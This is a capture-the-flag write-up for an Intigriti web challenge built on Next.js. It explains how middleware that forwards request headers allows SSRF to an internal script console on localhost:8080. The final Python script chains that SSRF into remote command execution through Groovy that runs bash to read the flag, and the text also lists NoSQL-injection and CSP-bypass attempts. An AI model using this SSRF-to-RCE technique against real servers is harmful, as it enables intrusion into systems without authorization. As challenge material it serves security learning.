The solution:
- Should not exploit
0-day
or ChromiumRCE
; - Should leverage
RCE
on the server withoutsandbox
; - Should include the
flag
in the formatINTIGRITI{...}
;
This web challenge
allows us to create some accounts
.
Since we don't have much time to participate, we'll take a look at the most impactful technologies of the challenge.
Some false leads:
- Mongodb-7.0 uses an older version, but it's still practical;
- The
isPremium
variable is not very useful for now; - account creation does not have the same conditions from client-side to server-side
POST {"name":"$ne","email":"..","password":".."}
that may lead to Nosqli; JWT
and_rsc
parameter cannot be exploited as we would like;development
mode doesn't change much;- Could remove
CSP
with the headerPurpose:prefetch
or crash the instance withnext-router-prefetch:1
; request.nextUrl
does not allowattacks
sadly.
A closer look at the code reveals useful tips:
{/* Footer with CTF hint */}
<footer className="bg-gray-800 text-white py-4 mt-12">
<div className="max-w-7xl mx-auto px-4 text-center text-sm">
<p>© {new Date().getFullYear()} CatFlix - Powered by a small team of cats</p>
<p className="text-gray-400 text-xs mt-1">Build: v8.2025. Help contribute: <a href="/source.zip">Download source code</a></p>
</div>
</footer>
{/* CTF Hint */}
<div className="mt-8 pt-6 border-t border-gray-200">
<p className="text-xs text-gray-400 text-center">Secure authentication powered by NextAuth.js</p>
</div>
{/* Terms and CTF hint */}
<div className="mt-8 pt-6 border-t border-gray-200">
<p className="text-xs text-gray-400 text-center">By signing up, you agree to our Terms of Service and Privacy Policy.<br />
<span className="text-gray-300">
{/* Hint for CTF players */}
{/* Internal services use default configurations */}
</span>
</p>
</div>
We understand that we need to recover the NextAuth
secret while focusing on various internal services.
import { getToken } from 'next-auth/jwt'; // ./src/middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';
import { v4 } from 'uuid';
export async function middleware(request: NextRequest) {
const { pathname, searchParams } = request.nextUrl;
const token = await getToken({ req: request, secret: process.env.NEXTAUTH_SECRET });
if (!token && pathname === '/' && (searchParams.has('utm_source') || searchParams.has('utm_medium') || searchParams.has('utm_campaign'))) {
const requestHeaders = new Headers(request.headers);
const res = {
headers: requestHeaders,
request: { headers: requestHeaders, }
}; // TODO: Handle analytics
return NextResponse.next(res);
}; // Add security headers
const response = NextResponse.next();
const nonce = Buffer.from(v4()).toString('base64');
const CSPHeader: string = `
default-src 'self';
script-src 'self' 'unsafe-eval' 'nonce-${nonce}' http://localhost https://challenge-0825.intigriti.io blob:;
connect-src 'self' http://localhost https://challenge-0825.intigriti.io;
style-src 'self' 'unsafe-inline' http://localhost https://challenge-0825.intigriti.io;
img-src 'self' blob: data: http://localhost https://challenge-0825.intigriti.io;
font-src https://fonts.googleapis.com/ https://fonts.gstatic.com/ http://localhost https://challenge-0825.intigriti.io;
object-src 'none';
base-uri 'self';
form-action 'self' http://localhost https://challenge-0825.intigriti.io;
frame-ancestors 'self';
block-all-mixed-content;
upgrade-insecure-requests;
frame-src http://localhost https://challenge-0825.intigriti.io blob:
`;
response.headers.set('x-nonce', `${nonce}`);
response.headers.set('Content-Security-Policy', CSPHeader.replace(/\s{2,}/g, ' ').trim());
response.headers.set('Referrer-Policy', 'no-referrer');
response.headers.set('X-Frame-Options', 'SAMEORIGIN');
response.headers.set('X-Content-Type-Options', 'nosniff');
response.headers.set('X-Current-Path', `${request?.nextUrl?.pathname ?? 'Unknown'}`);
return response;
};
export const config = {
matcher: [
/*
* Middleware must match all request paths except for the ones starting with:
* - api (API routes)
* - _next/static (static files)
* - _next/image (image optimization files)
* - favicon.ico (favicon file)
*/
{
source: '\/((?!api|\_next\/static|\_next\/image|favicon\.ico).*)',
missing: [
{ type: 'header', key: 'next-router-prefetch' },
{ type: 'header', key: 'purpose', value: 'prefetch' },
],
},
],
};
If we meet all the if(!token && pathname === '/' && searchParams.has('utm_source'))
condition, we see that we can add different headers, which seems critical.
Based on various challenges of this type and given the CSP
containing localhost
endpoints, we should search for various accessible internal services.
We have hopefully some location responding on port 8080, so we just need to retrieve the flag now:
from blake3 import blake3
from requests import post
req = post("http://challenge-0825.intigriti.io/?utm_source", # Into requestHeaders
headers = {
"Host": "challenge-0825.intigriti.io",
"Location": "http://localhost:8080/script" # SSRF | host.docker.internal
},
data = {
"script": "println/**/new File(['bash','-c','ls /*/*.txt'].execute().in.text.trim()).text.trim()" # Groovy code
}).text
print(blake3((s := req[req.find("INTIGRITI{"):req.find("}")+1]).encode()).hexdigest())
# 83ae74feddf531d1cced2d01f26420348c52be7500af7e79870ceb3772e64b07
The devil is always in the details.